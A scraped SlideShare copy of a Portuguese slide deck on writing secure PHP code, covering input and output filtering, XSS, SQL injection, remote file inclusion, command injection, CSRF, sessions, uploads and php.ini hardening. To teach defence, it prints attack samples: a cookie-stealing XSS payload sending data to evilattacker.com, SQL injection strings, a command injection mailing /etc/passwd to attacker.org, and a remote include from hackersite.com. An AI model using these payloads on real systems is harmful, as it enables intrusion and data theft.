SlideShare ist ein Scribd-Unternehmen logo
1 von 90
Downloaden Sie, um offline zu lesen
Escrevendo códigos PHP 
Seguros 
Douglas V. Pasqua 
http://douglaspasqua.com
Introdução 
● Príncios de segurança para aplicativos web. 
● As consequencias de códigos inseguros. 
● Regras básicas de Segurança.
Vulnerabilidades / Tipos de Ataques 
● SQL Injections 
● XSS 
● Remote Code Injection 
● Command Inection 
● XSRF / CSRF 
● Sessions 
● File Uploads
Outros 
● senhas e hashs 
● configurações de segurança (php.ini)
Introdução Segurança 
● Uma das coisas mais importantes que o 
desenvolvedor deve-se atentar.
Introdução Segurança 
● Infelizmente a maioria dos desenvolvedores 
falham na questão de segurança, 
comprometendo dezenas e até milhares de 
linhas de códigos.
Consequências
Consequências 
● DOS (Denial Of Service). 
● Roubo de informações confidenciais. 
● Danificar banco de dados. 
● Roubo de sessão do usuário. 
● Comprometer a aplicação.
Regras básicas 
● Filtrar dados de Input 
● Filtrar dados de Output
Filtrar dados de Input 
● Não se deve confiar nos dados provenientes 
do usuário. 
● Toda informação oriunda do usuário deve 
ser filtrada/validada antes do uso.
Filtrar dados de Input 
● $_GET 
● $_POST 
● $_COOKIE
Tipo de dados ? 
● E-Mail 
● Numérico 
● URL 
● IP 
● Data de aniversário 
● Endereço 
● Telefone
Exemplo: filtrando campo numérico 
<?php 
if (isset($_GET["value"])) { 
$value = $_GET["value"]; 
} 
else { 
$value = false; 
} 
if (is_numeric($value) && ($value >= 15 && $value <= 20)) { 
// ok 
}
Exemplo: filtrando campo numérico 
<?php 
$value = filter_input(INPUT_GET, "value", FILTER_VALIDATE_INT, 
array("options" => array( 
"min_range" => 15, 
"max_range" => 20 
))); 
if($value) { 
// valido 
}
filter_input 
● FILTER_VALIDATE_BOOLEAN 
● FILTER_VALIDATE_EMAIL 
● FILTER_VALIDATE_FLOAT 
● FILTER_VALIDATE_INT 
● FILTER_VALIDATE_IP 
● FILTER_VALIDATE_REGEXP 
● FILTER_VALIDATE_URL
filter_input 
http://php.net/filter_input
Filtrando dados de Saída 
● Dados de saída devem ser tratados de 
acordo com o meio. 
○ HTML 
○ Javascript 
○ XML 
○ SQL
Filtrando dados de saída 
<?php 
echo "<a href="$url">$name</a>";
Filtrando dados de Saída 
<a href="<?php echo htmlspecialchars($url, ENT_COMPAT, 'utf-8'); ?>"> 
<?php echo htmlspecialchars($name, ENT_NOQUOTES, 'utf-8'); ?> 
</a>
htmlspecialchars() 
Caracter Nome Código 
< menor que &lt; 
> maior que &gt; 
& E comercial &amp; 
“ aspas duplas &quot; 
http://php.net/htmlspecialchars
XSS (Cross Site Scripting)
XSS (Cross-site-scripting) 
● É um tipo de ataque que permite injetar 
códigos (javascript) maliciosos em sites 
“confiáveis”. 
● Explora a confiança que o usuário tem no 
site.
XSS (Cross-site-scripting) 
● Roubo de cookies e informações de sessão. 
● Disparar requisições HTTP na sessão do 
usuário. 
● Redirecionar o usuário para sites maliciosos. 
● Instalar malware
XSS Exemplo - Não Persistente 
<?php 
// Gera resultados baseado em parametro via GET 
echo "Você esta buscando por: " . $_GET["query"];
XSS Exemplo - Não Persistente 
<?php 
// Gera resultados baseado em parametro via GET 
echo "Você esta buscando por: " . $_GET["query"]; 
http://example.com/search.php?query=<script>alert("hacked")</script>
XSS Exemplo - Não Persistente 
<?php 
// Gera resultados baseado em parametro via GET 
echo "Você esta buscando por: " . $_GET["query"]; 
http://example.com/search.php?query=<script>alert("hacked")</script> 
Você esta buscando por: <script>alert("hacked")</script>
XSS Exemplo - Persistente 
$email = "document.write('<iframe src=” 
http://evilattacker.com?cookie=' + document.cookie.escape()” 
height=”0” width=”0” />')"; 
E-mail: <?php echo $email; ?>
XSS - Prevenção 
● Validando dados de input
XSS - Prevenção 
● Sanitização 
<?php 
// sanitize HTML 
$query = strip_tags($_GET["query"]);
XSS - Prevenção 
● Output Escaping 
<?php 
// Gera resultados baseado em parametro via GET 
echo "Você esta buscando por: " . htmlspecialchars($_GET["query"]);
SQL Injection
SQL Injection 
● Permite manipulação de consultas SQL 
○ passar por controles de acesso e autenticação. 
○ expor dados escondidos. 
○ sobrescrita de dados. 
○ exclusão de dados. 
○ execução de comandos no S.O.
SQL Injection 
$sql = "SELECT * FROM users WHERE name 
='$nome'";
SQL Injection 
' or '1'='1 
SELECT * FROM users WHERE name ='' OR '1'='1'; 
' or '1'='1' -- 
SELECT * FROM users WHERE name ='' OR '1'='1' --';
SQL Injection 
a';DROP TABLE users; -- 
SELECT * FROM users WHERE name ='a';DROP TABLE 
users; --';
SQL Injection - Protegendo-se 
<?php 
$stmt = $dbh->prepare("SELECT * FROM users WHERE name = :name"); 
$stmt->bindParam(':name', $txtName); 
$stmt->execute(); 
● Suporte: 
○ mysqli 
○ PDO
SQL Injection - Protegendo-se 
<?php 
$name = mysql_real_escape_string($name); 
$sql = "SELECT * FROM users WHERE name ='$name'"; 
● Usar no caso de extensão padrão do Mysql para PHP
CSRF (Cross-Site-Request-Forgery)
CSRF - Definição 
Site malicioso dispara uma requisição/ação 
não desejada para um outro site no qual o 
usuário esteja logado.
CSRF - Exemplos de ações 
● Alterar a senha do usuário no site 
● Realizar transferências bancárias 
● Submissão de formulários
CSRF - Principais focos 
● Webmail 
● Redes sociais 
● Bancos 
● Sistemas de pagamento online
CSRF - Exemplos de Prevênção 
● Captcha 
● Verificar o Header "Referer" 
● Token Sincronizado
CSRF - Token 
<?php 
$randomtoken = base64_encode(openssl_random_pseudo_bytes(32));
CSRF - Token 
<?php 
$randomtoken = base64_encode(openssl_random_pseudo_bytes(32)); 
$_SESSION['csrfToken'] = $randomtoken;
CSRF - Token 
<form> 
... 
<input type=’hidden’ name=’csrfToken’ 
value=’<?php echo($_SESSION['csrfTOken']) ?>’ /> 
... 
</form>
CSRF 
● O Token CSRF é único por sessão. 
● Utilize o token em todos formulários 
considerados “críticos”.
Remote Code Injection
Remote code injection 
● Permite o atacante injetar códigos externos 
no fluxo de execução do script php. 
● Explora: 
○ include 
○ require
Remote code injection 
<?php 
include($_GET["page"]); 
?>
Remote code injection 
<?php 
include($_GET["page"]); 
?> 
www.website.com/carrega.php?page=/dir-escondido/senhas. 
txt
Remote code injection 
<?php 
include($_GET["page"]); 
?> 
www.website.com/carrega.php?page=/upload-dir/arquivo.php
Remote code injection 
<?php 
include($_GET["page"]); 
?> 
www.website.com/carrega.php?page=http://hackersite.com/file.inc
Remote code injection - Proteção 
<?php 
$whitelist = array('home', 'about'); 
if (in_array($_GET['page'], $whitelist)) { 
include($_GET['page'].'.php'); 
} else { 
include('home.php'); 
}
Command Injection
Command Injection 
● Permite o atacante injetar códigos shell 
maliciosos. 
● Normalmente quando você usa o input do 
usuário para criar um comando shell.
Command Injection 
<?php 
echo shell_exec('cat '.$_GET['filename']); 
?>
Command Injection 
<?php 
echo shell_exec('cat '.$_GET['filename']); 
?> 
www.website.com/viewfile.php?filename=file.txt;ls
Command Injection 
<?php 
echo shell_exec('cat '. $_GET['filename']); 
?> 
www.website.com/viewfile.php?filename=file.txt;mail 
attacker@attacker.org </etc/passwd
Command Injection - Proteção 
<?php 
echo shell_exec('cat '. escapeshellarg($_GET['filename']));
Command Injection - Proteção 
<?php 
echo shell_exec('cat '. escapeshellarg($_GET['filename'])); 
OR 
echo shell_exec(escapeshellcmd('cat '. $_GET['filename']));
Segurança de Sessão
Segurança de Sessão 
● Flag httponly, php.ini: 
session.cookie_httponly = 1 
Marca o cookie de sessão do PHP com httponly. Isso faz 
com que o novageador não exponha o valor deste cookie 
via javascript.
Segurança de Sessão 
● Flag use_only_cookies, php.ini: 
session.use_only_cookies = 1 
Desabilita a possiblidade de setar o ID da sesssão via GET.
Segurança de Sessão 
● Flag cookie_secure, php.ini: 
session.cookie_secure = 1 
Assegura que o cookie de sessão seja transmitido apenas 
por conexão segura.
Session hijacking 
<?php 
session_start(); 
if (isset($_SESSION['HTTP_USER_AGENT'])) { 
if ($_SESSION['HTTP_USER_AGENT'] != md5($_SERVER['HTTP_USER_AGENT'])) { 
/* Prompt for password */ 
exit; 
} 
} else { 
$_SESSION['HTTP_USER_AGENT'] = md5($_SERVER['HTTP_USER_AGENT']); 
}
Upload de Arquivos
Upload de arquivos - Dicas 
Armazene os arquivos enviados fora do 
diretório raiz do app web.
Upload de arquivos - Dicas 
Não confie cegamente no Content-Type, para 
definir que um arquivo seja realmente uma 
imagem.
Upload de arquivos - Dicas 
<?php 
$imageinfo = getimagesize($_FILES['userfile']['tmp_name']); 
if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg') { 
echo "Desculpe, são aceitos somente imagens GIF e JPEGn"; 
exit; 
}
Upload de arquivos - Dicas 
Não armazene os arquivos usando o nome 
original configurado no formulário. Gere um 
nome randômico ao salvar.
Hash e Senhas
hash e senhas 
Sempre usar hash para armazenar senhas em 
banco de dados.
hash e senhas 
md5(), sha1() ?
hash e senhas 
password_hash(), crypt() ?
password_hash() 
● >= PHP 5.5 
● Utiliza o algoritimo BCrypt 
● Compatível com a função crypt()
password_hash() 
<?php 
// geração do hash 
$hash = password_hash($senha, PASSWORD_DEFAULT); 
// verificando se o hash corresponde 
if (password_verify($password, $hash)) { 
// Sucesso! 
} 
else { 
// Credenciais Inválidas 
}
password_hash() 
● utilizar capacidade de 255 caracteres 
● salt e cost são gerados pela API
Parâmetros no php.ini
php.ini 
● expose_php = off
php.ini 
● expose_php = off 
HTTP/1.1 200 OK 
X-Powered-By: PHP/5.3.3 
Content-type: text/html; charset=UTF-8
php.ini 
● display_errors = off
php.ini 
● display_errors = off 
log_errors=On 
error_log=/var/log/apache/php_error.log
php.ini 
● allow_url_fopen = off
php.ini 
● allow_url_fopen = off 
previne remote code injections 
(include/require/file_get_contents)
php.ini 
● max_execution_time = 30 
● memory_limit = 40M
php.ini 
● max_execution_time = 30 
● memory_limit = 40M 
Evita ataques DOS
php.ini 
● disable_functions = exec,passthru, 
shell_exec,system,proc_open,popen, 
curl_exec,curl_multi_exec,parse_ini_file, 
show_source
php.ini 
● open_basedir="/var/www/"
php.ini 
● open_basedir="/var/www/" 
restringe o diretório onde o php pode 
manipular arquivos
Perguntas ? 
douglas.pasqua@gmail.com 
http://www.douglaspasqua.com 
twitter: @dpasqua

Weitere ähnliche Inhalte

Was ist angesagt?

Linux Ethernet device driver
Linux Ethernet device driverLinux Ethernet device driver
Linux Ethernet device driver艾鍗科技
 
Basic cau hinh ip tren solaris
Basic cau hinh ip tren solarisBasic cau hinh ip tren solaris
Basic cau hinh ip tren solarisBui Van Cuong
 
Enhanced switch statement in Java 14
Enhanced switch statement in Java 14Enhanced switch statement in Java 14
Enhanced switch statement in Java 14Gavin Lim
 
TYCS Visual Basic Practicals
TYCS Visual Basic PracticalsTYCS Visual Basic Practicals
TYCS Visual Basic Practicalsyogita kachve
 
Flask & Flask-restx
Flask & Flask-restxFlask & Flask-restx
Flask & Flask-restxammaraslam18
 
Cloud native development without the toil
Cloud native development without the toilCloud native development without the toil
Cloud native development without the toilAmbassador Labs
 
DNS dinámico: Actualización dinámica de nombres en una red
DNS dinámico: Actualización dinámica de nombres en una redDNS dinámico: Actualización dinámica de nombres en una red
DNS dinámico: Actualización dinámica de nombres en una redEsteban Saavedra
 
MySQL Performance Tuning. Part 1: MySQL Configuration (includes MySQL 5.7)
MySQL Performance Tuning. Part 1: MySQL Configuration (includes MySQL 5.7)MySQL Performance Tuning. Part 1: MySQL Configuration (includes MySQL 5.7)
MySQL Performance Tuning. Part 1: MySQL Configuration (includes MySQL 5.7)Aurimas Mikalauskas
 
Large Table Partitioning with PostgreSQL and Django
 Large Table Partitioning with PostgreSQL and Django Large Table Partitioning with PostgreSQL and Django
Large Table Partitioning with PostgreSQL and DjangoEDB
 
XilinxのxsimでSoftware Driven Verification.pdf
XilinxのxsimでSoftware  Driven Verification.pdfXilinxのxsimでSoftware  Driven Verification.pdf
XilinxのxsimでSoftware Driven Verification.pdfMr. Vengineer
 
Lightweight static code analysis with semgrep
Lightweight static code analysis with semgrepLightweight static code analysis with semgrep
Lightweight static code analysis with semgrepNull Bhubaneswar
 
Building Network Functions with eBPF & BCC
Building Network Functions with eBPF & BCCBuilding Network Functions with eBPF & BCC
Building Network Functions with eBPF & BCCKernel TLV
 
eBPF Perf Tools 2019
eBPF Perf Tools 2019eBPF Perf Tools 2019
eBPF Perf Tools 2019Brendan Gregg
 
JavaOne 2012 - JVM JIT for Dummies
JavaOne 2012 - JVM JIT for DummiesJavaOne 2012 - JVM JIT for Dummies
JavaOne 2012 - JVM JIT for DummiesCharles Nutter
 
Marshaling with C# Pocket Reference
Marshaling with C# Pocket ReferenceMarshaling with C# Pocket Reference
Marshaling with C# Pocket ReferenceMohammad Elsheimy
 
OSSNA 2017 Performance Analysis Superpowers with Linux BPF
OSSNA 2017 Performance Analysis Superpowers with Linux BPFOSSNA 2017 Performance Analysis Superpowers with Linux BPF
OSSNA 2017 Performance Analysis Superpowers with Linux BPFBrendan Gregg
 
Injection on Steroids: Codeless code injection and 0-day techniques
Injection on Steroids: Codeless code injection and 0-day techniquesInjection on Steroids: Codeless code injection and 0-day techniques
Injection on Steroids: Codeless code injection and 0-day techniquesenSilo
 
Understanding PostgreSQL LW Locks
Understanding PostgreSQL LW LocksUnderstanding PostgreSQL LW Locks
Understanding PostgreSQL LW LocksJignesh Shah
 
php and sapi and zendengine2 and...
php and sapi and zendengine2 and...php and sapi and zendengine2 and...
php and sapi and zendengine2 and...do_aki
 
Meet cute-between-ebpf-and-tracing
Meet cute-between-ebpf-and-tracingMeet cute-between-ebpf-and-tracing
Meet cute-between-ebpf-and-tracingViller Hsiao
 

Was ist angesagt? (20)

Linux Ethernet device driver
Linux Ethernet device driverLinux Ethernet device driver
Linux Ethernet device driver
 
Basic cau hinh ip tren solaris
Basic cau hinh ip tren solarisBasic cau hinh ip tren solaris
Basic cau hinh ip tren solaris
 
Enhanced switch statement in Java 14
Enhanced switch statement in Java 14Enhanced switch statement in Java 14
Enhanced switch statement in Java 14
 
TYCS Visual Basic Practicals
TYCS Visual Basic PracticalsTYCS Visual Basic Practicals
TYCS Visual Basic Practicals
 
Flask & Flask-restx
Flask & Flask-restxFlask & Flask-restx
Flask & Flask-restx
 
Cloud native development without the toil
Cloud native development without the toilCloud native development without the toil
Cloud native development without the toil
 
DNS dinámico: Actualización dinámica de nombres en una red
DNS dinámico: Actualización dinámica de nombres en una redDNS dinámico: Actualización dinámica de nombres en una red
DNS dinámico: Actualización dinámica de nombres en una red
 
MySQL Performance Tuning. Part 1: MySQL Configuration (includes MySQL 5.7)
MySQL Performance Tuning. Part 1: MySQL Configuration (includes MySQL 5.7)MySQL Performance Tuning. Part 1: MySQL Configuration (includes MySQL 5.7)
MySQL Performance Tuning. Part 1: MySQL Configuration (includes MySQL 5.7)
 
Large Table Partitioning with PostgreSQL and Django
 Large Table Partitioning with PostgreSQL and Django Large Table Partitioning with PostgreSQL and Django
Large Table Partitioning with PostgreSQL and Django
 
XilinxのxsimでSoftware Driven Verification.pdf
XilinxのxsimでSoftware  Driven Verification.pdfXilinxのxsimでSoftware  Driven Verification.pdf
XilinxのxsimでSoftware Driven Verification.pdf
 
Lightweight static code analysis with semgrep
Lightweight static code analysis with semgrepLightweight static code analysis with semgrep
Lightweight static code analysis with semgrep
 
Building Network Functions with eBPF & BCC
Building Network Functions with eBPF & BCCBuilding Network Functions with eBPF & BCC
Building Network Functions with eBPF & BCC
 
eBPF Perf Tools 2019
eBPF Perf Tools 2019eBPF Perf Tools 2019
eBPF Perf Tools 2019
 
JavaOne 2012 - JVM JIT for Dummies
JavaOne 2012 - JVM JIT for DummiesJavaOne 2012 - JVM JIT for Dummies
JavaOne 2012 - JVM JIT for Dummies
 
Marshaling with C# Pocket Reference
Marshaling with C# Pocket ReferenceMarshaling with C# Pocket Reference
Marshaling with C# Pocket Reference
 
OSSNA 2017 Performance Analysis Superpowers with Linux BPF
OSSNA 2017 Performance Analysis Superpowers with Linux BPFOSSNA 2017 Performance Analysis Superpowers with Linux BPF
OSSNA 2017 Performance Analysis Superpowers with Linux BPF
 
Injection on Steroids: Codeless code injection and 0-day techniques
Injection on Steroids: Codeless code injection and 0-day techniquesInjection on Steroids: Codeless code injection and 0-day techniques
Injection on Steroids: Codeless code injection and 0-day techniques
 
Understanding PostgreSQL LW Locks
Understanding PostgreSQL LW LocksUnderstanding PostgreSQL LW Locks
Understanding PostgreSQL LW Locks
 
php and sapi and zendengine2 and...
php and sapi and zendengine2 and...php and sapi and zendengine2 and...
php and sapi and zendengine2 and...
 
Meet cute-between-ebpf-and-tracing
Meet cute-between-ebpf-and-tracingMeet cute-between-ebpf-and-tracing
Meet cute-between-ebpf-and-tracing
 

Andere mochten auch

Dicas para sua carreira de Desenvolvedor PHP
Dicas para sua carreira de Desenvolvedor PHPDicas para sua carreira de Desenvolvedor PHP
Dicas para sua carreira de Desenvolvedor PHPDouglas V. Pasqua
 
PostgreSQL Tuning: O elefante mais rápido que um leopardo
PostgreSQL Tuning: O elefante mais rápido que um leopardoPostgreSQL Tuning: O elefante mais rápido que um leopardo
PostgreSQL Tuning: O elefante mais rápido que um leopardoFabio Telles Rodriguez
 
CJR Apresenta: OWASP TOP10
CJR Apresenta: OWASP TOP10CJR Apresenta: OWASP TOP10
CJR Apresenta: OWASP TOP10CJR, UnB
 
Análise de performance usando as estatísticas do PostgreSQL
Análise de performance usando as estatísticas do PostgreSQLAnálise de performance usando as estatísticas do PostgreSQL
Análise de performance usando as estatísticas do PostgreSQLMatheus de Oliveira
 

Andere mochten auch (6)

Segurança Web com PHP5
Segurança Web com PHP5Segurança Web com PHP5
Segurança Web com PHP5
 
Postgres Tuning
Postgres TuningPostgres Tuning
Postgres Tuning
 
Dicas para sua carreira de Desenvolvedor PHP
Dicas para sua carreira de Desenvolvedor PHPDicas para sua carreira de Desenvolvedor PHP
Dicas para sua carreira de Desenvolvedor PHP
 
PostgreSQL Tuning: O elefante mais rápido que um leopardo
PostgreSQL Tuning: O elefante mais rápido que um leopardoPostgreSQL Tuning: O elefante mais rápido que um leopardo
PostgreSQL Tuning: O elefante mais rápido que um leopardo
 
CJR Apresenta: OWASP TOP10
CJR Apresenta: OWASP TOP10CJR Apresenta: OWASP TOP10
CJR Apresenta: OWASP TOP10
 
Análise de performance usando as estatísticas do PostgreSQL
Análise de performance usando as estatísticas do PostgreSQLAnálise de performance usando as estatísticas do PostgreSQL
Análise de performance usando as estatísticas do PostgreSQL
 

Ähnlich wie Escrevendo códigos php seguros

Segurança PHP - por Samyr Abdo
Segurança PHP - por Samyr AbdoSegurança PHP - por Samyr Abdo
Segurança PHP - por Samyr AbdoSamyr Abdo
 
[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...
[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...
[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...Rafael Jaques
 
Palestra de segurança em PHP - Hacking
Palestra de segurança em PHP - HackingPalestra de segurança em PHP - Hacking
Palestra de segurança em PHP - HackingLuis Gustavo Almeida
 
InterCon 2017 - Engenharia de segurança web: Proteja todas as camadas de seu ...
InterCon 2017 - Engenharia de segurança web: Proteja todas as camadas de seu ...InterCon 2017 - Engenharia de segurança web: Proteja todas as camadas de seu ...
InterCon 2017 - Engenharia de segurança web: Proteja todas as camadas de seu ...iMasters
 
Segurança (in portuguese)
Segurança (in portuguese)Segurança (in portuguese)
Segurança (in portuguese)Bruno Pedro
 
LabMM4 (T22 - 12/13) - segurança
LabMM4 (T22 - 12/13) - segurançaLabMM4 (T22 - 12/13) - segurança
LabMM4 (T22 - 12/13) - segurançaCarlos Santos
 
Play Framework - FLISOL
Play Framework - FLISOLPlay Framework - FLISOL
Play Framework - FLISOLgrupoweblovers
 
Aprendendo a atacar (e proteger) aplicações web através de jogos de guerra
Aprendendo a atacar (e proteger) aplicações web através de jogos de guerraAprendendo a atacar (e proteger) aplicações web através de jogos de guerra
Aprendendo a atacar (e proteger) aplicações web através de jogos de guerraClavis Segurança da Informação
 
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEBFIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEBErick Belluci Tedeschi
 
Como Perder Peso (no browser)
Como Perder Peso (no browser)Como Perder Peso (no browser)
Como Perder Peso (no browser)Zeno Rocha
 
PHP like a super hero
PHP like a super heroPHP like a super hero
PHP like a super heroElton Minetto
 
Crawling - Coleta de dados na Web com PHP
Crawling - Coleta de dados na Web com PHP Crawling - Coleta de dados na Web com PHP
Crawling - Coleta de dados na Web com PHP Luis Gustavo Almeida
 

Ähnlich wie Escrevendo códigos php seguros (20)

Hello SAFE World!!!
Hello SAFE World!!!Hello SAFE World!!!
Hello SAFE World!!!
 
Segurança PHP - por Samyr Abdo
Segurança PHP - por Samyr AbdoSegurança PHP - por Samyr Abdo
Segurança PHP - por Samyr Abdo
 
[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...
[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...
[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...
 
Segurança Web: O MMA da Tecnologia
Segurança Web: O MMA da TecnologiaSegurança Web: O MMA da Tecnologia
Segurança Web: O MMA da Tecnologia
 
Palestra de segurança em PHP - Hacking
Palestra de segurança em PHP - HackingPalestra de segurança em PHP - Hacking
Palestra de segurança em PHP - Hacking
 
InterCon 2017 - Engenharia de segurança web: Proteja todas as camadas de seu ...
InterCon 2017 - Engenharia de segurança web: Proteja todas as camadas de seu ...InterCon 2017 - Engenharia de segurança web: Proteja todas as camadas de seu ...
InterCon 2017 - Engenharia de segurança web: Proteja todas as camadas de seu ...
 
Segurança (in portuguese)
Segurança (in portuguese)Segurança (in portuguese)
Segurança (in portuguese)
 
PHP MySQL Aula 07
PHP MySQL Aula 07PHP MySQL Aula 07
PHP MySQL Aula 07
 
LabMM4 (T22 - 12/13) - segurança
LabMM4 (T22 - 12/13) - segurançaLabMM4 (T22 - 12/13) - segurança
LabMM4 (T22 - 12/13) - segurança
 
Sql injection
Sql injectionSql injection
Sql injection
 
Play Framework - FLISOL
Play Framework - FLISOLPlay Framework - FLISOL
Play Framework - FLISOL
 
Aprendendo a atacar (e proteger) aplicações web através de jogos de guerra
Aprendendo a atacar (e proteger) aplicações web através de jogos de guerraAprendendo a atacar (e proteger) aplicações web através de jogos de guerra
Aprendendo a atacar (e proteger) aplicações web através de jogos de guerra
 
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEBFIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
 
Segurança PHP em 2016
Segurança PHP em 2016Segurança PHP em 2016
Segurança PHP em 2016
 
Como Perder Peso (no browser)
Como Perder Peso (no browser)Como Perder Peso (no browser)
Como Perder Peso (no browser)
 
PHP like a super hero
PHP like a super heroPHP like a super hero
PHP like a super hero
 
Python 08
Python 08Python 08
Python 08
 
Web App Flaws - SQL Injection
Web App Flaws - SQL InjectionWeb App Flaws - SQL Injection
Web App Flaws - SQL Injection
 
PHP FrameWARks - FISL
PHP FrameWARks - FISLPHP FrameWARks - FISL
PHP FrameWARks - FISL
 
Crawling - Coleta de dados na Web com PHP
Crawling - Coleta de dados na Web com PHP Crawling - Coleta de dados na Web com PHP
Crawling - Coleta de dados na Web com PHP
 

Mehr von Douglas V. Pasqua

Graph API - Desenvolvimento para Facebook
Graph API - Desenvolvimento para FacebookGraph API - Desenvolvimento para Facebook
Graph API - Desenvolvimento para FacebookDouglas V. Pasqua
 
Unicode: Os segredos da Codificação de Caracteres
Unicode: Os segredos da Codificação de CaracteresUnicode: Os segredos da Codificação de Caracteres
Unicode: Os segredos da Codificação de CaracteresDouglas V. Pasqua
 
Tuning Apache/MySQL/PHP para desenvolvedores
Tuning Apache/MySQL/PHP para desenvolvedoresTuning Apache/MySQL/PHP para desenvolvedores
Tuning Apache/MySQL/PHP para desenvolvedoresDouglas V. Pasqua
 
Novas Funcionalidade no PHP 5.3
Novas Funcionalidade no PHP 5.3Novas Funcionalidade no PHP 5.3
Novas Funcionalidade no PHP 5.3Douglas V. Pasqua
 

Mehr von Douglas V. Pasqua (7)

Graph API - Desenvolvimento para Facebook
Graph API - Desenvolvimento para FacebookGraph API - Desenvolvimento para Facebook
Graph API - Desenvolvimento para Facebook
 
Web Services RESTful
Web Services RESTfulWeb Services RESTful
Web Services RESTful
 
Introdução APIs RESTful
Introdução APIs RESTfulIntrodução APIs RESTful
Introdução APIs RESTful
 
Unicode: Os segredos da Codificação de Caracteres
Unicode: Os segredos da Codificação de CaracteresUnicode: Os segredos da Codificação de Caracteres
Unicode: Os segredos da Codificação de Caracteres
 
The Facebook Plataform
The Facebook PlataformThe Facebook Plataform
The Facebook Plataform
 
Tuning Apache/MySQL/PHP para desenvolvedores
Tuning Apache/MySQL/PHP para desenvolvedoresTuning Apache/MySQL/PHP para desenvolvedores
Tuning Apache/MySQL/PHP para desenvolvedores
 
Novas Funcionalidade no PHP 5.3
Novas Funcionalidade no PHP 5.3Novas Funcionalidade no PHP 5.3
Novas Funcionalidade no PHP 5.3
 

Escrevendo códigos php seguros

  • 1. Escrevendo códigos PHP Seguros Douglas V. Pasqua http://douglaspasqua.com
  • 2. Introdução ● Príncios de segurança para aplicativos web. ● As consequencias de códigos inseguros. ● Regras básicas de Segurança.
  • 3. Vulnerabilidades / Tipos de Ataques ● SQL Injections ● XSS ● Remote Code Injection ● Command Inection ● XSRF / CSRF ● Sessions ● File Uploads
  • 4. Outros ● senhas e hashs ● configurações de segurança (php.ini)
  • 5. Introdução Segurança ● Uma das coisas mais importantes que o desenvolvedor deve-se atentar.
  • 6. Introdução Segurança ● Infelizmente a maioria dos desenvolvedores falham na questão de segurança, comprometendo dezenas e até milhares de linhas de códigos.
  • 8. Consequências ● DOS (Denial Of Service). ● Roubo de informações confidenciais. ● Danificar banco de dados. ● Roubo de sessão do usuário. ● Comprometer a aplicação.
  • 9. Regras básicas ● Filtrar dados de Input ● Filtrar dados de Output
  • 10. Filtrar dados de Input ● Não se deve confiar nos dados provenientes do usuário. ● Toda informação oriunda do usuário deve ser filtrada/validada antes do uso.
  • 11. Filtrar dados de Input ● $_GET ● $_POST ● $_COOKIE
  • 12. Tipo de dados ? ● E-Mail ● Numérico ● URL ● IP ● Data de aniversário ● Endereço ● Telefone
  • 13. Exemplo: filtrando campo numérico <?php if (isset($_GET["value"])) { $value = $_GET["value"]; } else { $value = false; } if (is_numeric($value) && ($value >= 15 && $value <= 20)) { // ok }
  • 14. Exemplo: filtrando campo numérico <?php $value = filter_input(INPUT_GET, "value", FILTER_VALIDATE_INT, array("options" => array( "min_range" => 15, "max_range" => 20 ))); if($value) { // valido }
  • 15. filter_input ● FILTER_VALIDATE_BOOLEAN ● FILTER_VALIDATE_EMAIL ● FILTER_VALIDATE_FLOAT ● FILTER_VALIDATE_INT ● FILTER_VALIDATE_IP ● FILTER_VALIDATE_REGEXP ● FILTER_VALIDATE_URL
  • 17. Filtrando dados de Saída ● Dados de saída devem ser tratados de acordo com o meio. ○ HTML ○ Javascript ○ XML ○ SQL
  • 18. Filtrando dados de saída <?php echo "<a href="$url">$name</a>";
  • 19. Filtrando dados de Saída <a href="<?php echo htmlspecialchars($url, ENT_COMPAT, 'utf-8'); ?>"> <?php echo htmlspecialchars($name, ENT_NOQUOTES, 'utf-8'); ?> </a>
  • 20. htmlspecialchars() Caracter Nome Código < menor que &lt; > maior que &gt; & E comercial &amp; “ aspas duplas &quot; http://php.net/htmlspecialchars
  • 21. XSS (Cross Site Scripting)
  • 22. XSS (Cross-site-scripting) ● É um tipo de ataque que permite injetar códigos (javascript) maliciosos em sites “confiáveis”. ● Explora a confiança que o usuário tem no site.
  • 23. XSS (Cross-site-scripting) ● Roubo de cookies e informações de sessão. ● Disparar requisições HTTP na sessão do usuário. ● Redirecionar o usuário para sites maliciosos. ● Instalar malware
  • 24. XSS Exemplo - Não Persistente <?php // Gera resultados baseado em parametro via GET echo "Você esta buscando por: " . $_GET["query"];
  • 25. XSS Exemplo - Não Persistente <?php // Gera resultados baseado em parametro via GET echo "Você esta buscando por: " . $_GET["query"]; http://example.com/search.php?query=<script>alert("hacked")</script>
  • 26. XSS Exemplo - Não Persistente <?php // Gera resultados baseado em parametro via GET echo "Você esta buscando por: " . $_GET["query"]; http://example.com/search.php?query=<script>alert("hacked")</script> Você esta buscando por: <script>alert("hacked")</script>
  • 27. XSS Exemplo - Persistente $email = "document.write('<iframe src=” http://evilattacker.com?cookie=' + document.cookie.escape()” height=”0” width=”0” />')"; E-mail: <?php echo $email; ?>
  • 28. XSS - Prevenção ● Validando dados de input
  • 29. XSS - Prevenção ● Sanitização <?php // sanitize HTML $query = strip_tags($_GET["query"]);
  • 30. XSS - Prevenção ● Output Escaping <?php // Gera resultados baseado em parametro via GET echo "Você esta buscando por: " . htmlspecialchars($_GET["query"]);
  • 32. SQL Injection ● Permite manipulação de consultas SQL ○ passar por controles de acesso e autenticação. ○ expor dados escondidos. ○ sobrescrita de dados. ○ exclusão de dados. ○ execução de comandos no S.O.
  • 33. SQL Injection $sql = "SELECT * FROM users WHERE name ='$nome'";
